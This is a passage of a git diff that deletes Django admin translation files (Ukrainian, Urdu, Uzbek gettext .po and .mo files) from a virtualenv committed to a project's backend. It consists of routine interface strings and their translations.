"March" -msgstr "березня" - -msgid "April" -msgstr "квітня" - -msgid "May" -msgstr "травня" - -msgid "June" -msgstr "червня" - -msgid "July" -msgstr "липня" - -msgid "August" -msgstr "серпня" - -msgid "September" -msgstr "вересня" - -msgid "October" -msgstr "жовтня" - -msgid "November" -msgstr "листопада" - -msgid "December" -msgstr "грудня" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Січ." - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Лют." - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Берез." - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Квіт." - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Трав." - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Черв." - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Лип." - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Серп." - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Верес." - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Жовт." - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Листоп." - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Груд." - -msgid "Sunday" -msgstr "Неділя" - -msgid "Monday" -msgstr "Понеділок" - -msgid "Tuesday" -msgstr "Вівторок" - -msgid "Wednesday" -msgstr "Середа" - -msgid "Thursday" -msgstr "Четвер" - -msgid "Friday" -msgstr "П'ятниця" - -msgid "Saturday" -msgstr "Субота" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Нд" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Пн" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Вт" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Ср" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Чт" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Пт" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Сб" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Н" - -msgctxt "one letter Monday" -msgid "M" -msgstr "П" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "В" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "С" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Ч" - -msgctxt "one letter Friday" -msgid "F" -msgstr "П" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "С" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/django.mo deleted file mode 100644 index 0735f5d6..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/django.po deleted file mode 100644 index 81ef1118..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/django.po +++ /dev/null @@ -1,661 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mansoorulhaq Mansoor , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:40+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Urdu (http://www.transifex.com/django/django/language/ur/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ur\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s کو کامیابی سے مٹا دیا گیا۔" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s نہیں مٹایا جا سکتا" - -msgid "Are you sure?" -msgstr "آپ کو یقین ھے؟" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "منتخب شدہ %(verbose_name_plural)s مٹائیں" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "تمام" - -msgid "Yes" -msgstr "ھاں" - -msgid "No" -msgstr "نھیں" - -msgid "Unknown" -msgstr "نامعلوم" - -msgid "Any date" -msgstr "کوئی تاریخ" - -msgid "Today" -msgstr "آج" - -msgid "Past 7 days" -msgstr "گزشتہ سات دن" - -msgid "This month" -msgstr "یہ مھینہ" - -msgid "This year" -msgstr "یہ سال" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "کاروائی:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "دوسرا %(verbose_name)s درج کریں" - -msgid "Remove" -msgstr "خارج کریں" - -msgid "action time" -msgstr "کاروائی کا وقت" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "شے کا شناختی نمبر" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "شے کا نمائندہ" - -msgid "action flag" -msgstr "کاروائی کا پرچم" - -msgid "change message" -msgstr "پیغام تبدیل کریں" - -msgid "log entry" -msgstr "لاگ کا اندراج" - -msgid "log entries" -msgstr "لاگ کے اندراج" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "اور" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "کوئی خانہ تبدیل نھیں کیا گیا۔" - -msgid "None" -msgstr "کوئی نھیں" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"اشیاء پر کاروائی سرانجام دینے کے لئے ان کا منتخب ھونا ضروری ھے۔ کوئی شے " -"تبدیل نھیں کی گئی۔" - -msgid "No action selected." -msgstr "کوئی کاروائی منتخب نھیں کی گئی۔" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" کامیابی سے مٹایا گیا تھا۔" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s کا اضافہ کریں" - -#, python-format -msgid "Change %s" -msgstr "%s تبدیل کریں" - -msgid "Database error" -msgstr "ڈیٹا بیس کی خرابی" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s کامیابی سے تبدیل کیا گیا تھا۔" -msgstr[1] "%(count)s %(name)s کامیابی سے تبدیل کیے گئے تھے۔" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s منتخب کیا گیا۔" -msgstr[1] "تمام %(total_count)s منتخب کئے گئے۔" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s میں سے 0 منتخب کیا گیا۔" - -#, python-format -msgid "Change history: %s" -msgstr "%s کی تبدیلی کا تاریخ نامہ" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "منتظم برائے جینگو سائٹ" - -msgid "Django administration" -msgstr "انتظامیہ برائے جینگو سائٹ" - -msgid "Site administration" -msgstr "سائٹ کی انتظامیہ" - -msgid "Log in" -msgstr "اندر جائیں" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "صفحہ نھیں ملا" - -msgid "We're sorry, but the requested page could not be found." -msgstr "ھم معذرت خواہ ھیں، مطلوبہ صفحہ نھیں مل سکا۔" - -msgid "Home" -msgstr "گھر" - -msgid "Server error" -msgstr "سرور کی خرابی" - -msgid "Server error (500)" -msgstr "سرور کی خرابی (500)" - -msgid "Server Error (500)" -msgstr "سرور کی خرابی (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "منتخب شدہ کاروائیاں چلائیں" - -msgid "Go" -msgstr "جاؤ" - -msgid "Click here to select the objects across all pages" -msgstr "تمام صفحات میں سے اشیاء منتخب کرنے کے لئے یہاں کلک کریں۔" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "تمام %(total_count)s %(module_name)s منتخب کریں" - -msgid "Clear selection" -msgstr "انتخاب صاف کریں" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"پہلے نام صارف اور لفظ اجازت درج کریں۔ پھر آپ مزید صارف کے حقوق مدوّن کرنے کے " -"قابل ھوں گے۔" - -msgid "Enter a username and password." -msgstr "نام صارف اور لفظ اجازت درج کریں۔" - -msgid "Change password" -msgstr "لفظ اجازت تبدیل کریں" - -msgid "Please correct the error below." -msgstr "براہ کرم نیچے غلطیاں درست کریں۔" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "صارف %(username)s کے لئے نیا لفظ اجازت درج کریں۔" - -msgid "Welcome," -msgstr "خوش آمدید،" - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "طریق استعمال" - -msgid "Log out" -msgstr "باہر جائیں" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s کا اضافہ کریں" - -msgid "History" -msgstr "تاریخ نامہ" - -msgid "View on site" -msgstr "سائٹ پر مشاھدہ کریں" - -msgid "Filter" -msgstr "چھانٹیں" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "مٹائیں" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' کو مٹانے کے نتیجے میں معتلقہ اشیاء مٹ " -"سکتی ھیں، مگر آپ کے کھاتے کو اشیاء کی مندرجہ ذیل اقسام مٹانے کا حق حاصل نھیں " -"ھے۔" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' کو مٹانے کے لئے مندرجہ ذیل محفوظ متعلقہ " -"اشیاء کو مٹانے کی ضرورت پڑ سکتی ھے۔" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"واقعی آپ %(object_name)s \"%(escaped_object)s\" کو مٹانا چاہتے ھیں۔ مندرجہ " -"ذیل تمام متعلقہ اجزاء مٹ جائیں گے۔" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "ھاں، مجھے یقین ھے" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "متعدد اشیاء مٹائیں" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"منتخب شدہ %(objects_name)s کو مٹانے کے نتیجے میں متعلقہ اشیاء مٹ سکتی ھیں، " -"لیکن آپ کے کھاتے کو اشیاء کی مندرجہ ذیل اقسام کو مٹانے کا حق حاصل نھیں ھے۔" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"منتخب شدہ %(objects_name)s کو مٹانے کے لئے مندرجہ ذیل محفوظ شدہ اشیاء کو " -"مٹانے کی ضرورت پڑ سکتی ھے۔" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"واقعی آپ منتخب شدہ %(objects_name)s مٹانا چاھتے ھیں؟ مندرجہ ذیل اور ان سے " -"متعلقہ تمام اشیاء حذف ھو جائیں گی۔" - -msgid "Change" -msgstr "تدوین" - -msgid "Delete?" -msgstr "مٹاؤں؟" - -#, python-format -msgid " By %(filter_title)s " -msgstr "از %(filter_title)s" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "اضافہ" - -msgid "You don't have permission to edit anything." -msgstr "آپ کو کوئی چیز مدوّن کرنے کا حق نھیں ھے۔" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "کچھ دستیاب نھیں" - -msgid "Unknown content" -msgstr "نامعلوم مواد" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"آپ کی ڈیٹا بیس کی تنصیب میں کوئی چیز خراب ھے۔ یقین کر لیں کہ موزون ڈیٹا بیس " -"ٹیبل بنائے گئے تھے، اور یقین کر لیں کہ ڈیٹ بیس مناسب صارف کے پڑھے جانے کے " -"قابل ھے۔" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "تاریخ/وقت" - -msgid "User" -msgstr "صارف" - -msgid "Action" -msgstr "کاروائی" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"اس شے کا تبدیلی کا تاریخ نامہ نھیں ھے۔ اس کا غالباً بذریعہ اس منتظم سائٹ کے " -"اضافہ نھیں کیا گیا۔" - -msgid "Show all" -msgstr "تمام دکھائیں" - -msgid "Save" -msgstr "محفوظ کریں" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "تلاش کریں" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s نتیجہ" -msgstr[1] "%(counter)s نتائج" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "کل %(full_result_count)s" - -msgid "Save as new" -msgstr "بطور نیا محفوظ کریں" - -msgid "Save and add another" -msgstr "محفوظ کریں اور مزید اضافہ کریں" - -msgid "Save and continue editing" -msgstr "محفوظ کریں اور تدوین جاری رکھیں" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "ویب سائٹ پر آج کچھ معیاری وقت خرچ کرنے کے لئے شکریہ۔" - -msgid "Log in again" -msgstr "دوبارہ اندر جائیں" - -msgid "Password change" -msgstr "لفظ اجازت کی تبدیلی" - -msgid "Your password was changed." -msgstr "آپ کا لفظ اجازت تبدیل کر دیا گیا تھا۔" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"براہ کرم سیکیورٹی کی خاطر اپنا پرانا لفظ اجازت درج کریں اور پھر اپنا نیا لفظ " -"اجازت دو مرتبہ درج کریں تاکہ ھم توثیق کر سکیں کہ آپ نے اسے درست درج کیا ھے۔" - -msgid "Change my password" -msgstr "میرا لفظ تبدیل کریں" - -msgid "Password reset" -msgstr "لفظ اجازت کی دوبارہ ترتیب" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"آپ کا لفظ اجازت مرتب کر دیا گیا ھے۔ آپ کو آگے بڑھنے اور اندر جانے کی اجازت " -"ھے۔" - -msgid "Password reset confirmation" -msgstr "لفظ اجازت دوبارہ مرتب کرنے کی توثیق" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"براہ مھربانی اپنا نیا لفظ اجازت دو مرتبہ درج کریں تاکہ تاکہ ھم تصدیق کر سکیں " -"کہ تم نے اسے درست درج کیا ھے۔" - -msgid "New password:" -msgstr "نیا لفظ اجازت:" - -msgid "Confirm password:" -msgstr "لفظ اجازت کی توثیق:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"لفظ اجازت دوبارہ مرتب کرنے کا رابطہ (لنک) غلط تھا، غالباً یہ پہلے ھی استعمال " -"کیا چکا تھا۔ براہ مھربانی نیا لفظ اجازت مرتب کرنے کی درخواست کریں۔" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "براہ مھربانی مندرجہ ذیل صفحے پر جائیں اور نیا لفظ اجازت پسند کریں:" - -msgid "Your username, in case you've forgotten:" -msgstr "نام صارف، بھول جانے کی صورت میں:" - -msgid "Thanks for using our site!" -msgstr "ھماری سائٹ استعمال کرنے کے لئے شکریہ" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s کی ٹیم" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "میرا لفظ اجازت دوبارہ مرتب کریں" - -msgid "All dates" -msgstr "تمام تاریخیں" - -#, python-format -msgid "Select %s" -msgstr "%s منتخب کریں" - -#, python-format -msgid "Select %s to change" -msgstr "تبدیل کرنے کے لئے %s منتخب کریں" - -msgid "Date:" -msgstr "تاریخ:" - -msgid "Time:" -msgstr "وقت:" - -msgid "Lookup" -msgstr "ڈھونڈیں" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 65de1984..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/djangojs.po deleted file mode 100644 index a4f5642c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ur/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,211 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mansoorulhaq Mansoor , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Urdu (http://www.transifex.com/django/django/language/ur/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ur\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "دستیاب %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "چھانٹیں" - -msgid "Choose all" -msgstr "سب منتخب کریں" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "خارج کریں" - -#, javascript-format -msgid "Chosen %s" -msgstr "منتخب شدہ %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s میں سے %(sel)s منتخب کیا گیا" -msgstr[1] "%(cnt)s میں سے %(sel)s منتخب کیے گئے" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"آپ کے پاس ذاتی قابل تدوین خانوں میں غیر محفوظ تبدیلیاں موجود ھیں۔ اگر آپ " -"کوئی کاروائی کریں گے تو آپ کی غیر محفوظ تبدیلیاں ضائع ھو جائیں گی۔" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"آپ نے ایک کاروائی منتخب کی ھے لیکن ابھی تک آپ نے ذاتی خانوں میں اپنی " -"تبدیلیاں محفوظ نہیں کی ہیں براہ مھربانی محفوط کرنے کے لئے OK پر کلک کریں۔ آپ " -"کاوائی دوبارہ چلانے کی ضرورت ھوگی۔" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"آپ نے ایک کاروائی منتخب کی ھے، اور آپ نے ذاتی خانوں میں کوئی تبدیلی نہیں کی " -"غالباً آپ 'جاؤ' بٹن تلاش کر رھے ھیں بجائے 'مخفوظ کریں' بٹن کے۔" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "اب" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "وقت منتخب کریں" - -msgid "Midnight" -msgstr "نصف رات" - -msgid "6 a.m." -msgstr "6 ص" - -msgid "Noon" -msgstr "دوپھر" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "منسوخ کریں" - -msgid "Today" -msgstr "آج" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "گزشتہ کل" - -msgid "Tomorrow" -msgstr "آئندہ کل" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "دکھائیں" - -msgid "Hide" -msgstr "چھپائیں" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/django.mo deleted file mode 100644 index 253820c4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/django.po deleted file mode 100644 index 8b4f8fd6..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/django.po +++ /dev/null @@ -1,724 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Alex Ibragimov, 2021 -# Anvar Ulugov , 2020 -# Bedilbek Khamidov , 2019 -# Claude Paroz , 2019 -# Nuriddin Islamov, 2021 -# Shukrullo Turgunov , 2021,2024 -# Sukhrobbek Ismatov , 2019 -# Yet Sum , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2024-01-25 07:05+0000\n" -"Last-Translator: Shukrullo Turgunov , 2021,2024\n" -"Language-Team: Uzbek (http://app.transifex.com/django/django/language/uz/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: uz\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "%(verbose_name_plural)s larni o'chirish" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d%(items)s muvaffaqiyatli o'chirildi." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s o'chirib bo'lmadi" - -msgid "Are you sure?" -msgstr "Ishonchingiz komilmi?" - -msgid "Administration" -msgstr "Administratsiya" - -msgid "All" -msgstr "Barchasi" - -msgid "Yes" -msgstr "Ha" - -msgid "No" -msgstr "Yo'q" - -msgid "Unknown" -msgstr "Noma'lum" - -msgid "Any date" -msgstr "Istalgan kun" - -msgid "Today" -msgstr "Bugun" - -msgid "Past 7 days" -msgstr "O'tgan 7 kun" - -msgid "This month" -msgstr "Shu oyda" - -msgid "This year" -msgstr "Shu yilda" - -msgid "No date" -msgstr "Sanasi yo'q" - -msgid "Has date" -msgstr "Sanasi bor" - -msgid "Empty" -msgstr "Bo'sh" - -msgid "Not empty" -msgstr "Bo'sh emas" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Xodimlar akkaunti uchun to'g'ri %(username)s va parolni kiriting. E'tibor " -"bering, har ikkala maydon ham harf katta-kichikligini hisobga olishi mumkin." - -msgid "Action:" -msgstr "Harakat:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Boshqa %(verbose_name)s qo‘shish" - -msgid "Remove" -msgstr "O'chirish" - -msgid "Addition" -msgstr " Qo'shish" - -msgid "Change" -msgstr "O'zgartirish" - -msgid "Deletion" -msgstr "O'chirish" - -msgid "action time" -msgstr "harakat vaqti" - -msgid "user" -msgstr "foydalanuvchi" - -msgid "content type" -msgstr "tarkib turi" - -msgid "object id" -msgstr "obyekt identifikatori" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "obyekt taqdimi" - -msgid "action flag" -msgstr "harakat bayrog'i" - -msgid "change message" -msgstr "xabarni o'zgartirish" - -msgid "log entry" -msgstr "jurnal yozuvi" - -msgid "log entries" -msgstr "jurnal yozuvlari" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\" qo'shildi." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "%(object)s dan %(changes)sga o'zgartirildi." - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" o'chirildi." - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "va" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "" - -msgid "None" -msgstr "Bo'sh" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -msgid "Select this object for an action - {}" -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\" muvaffaqiyatli o'zgartirildi." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - 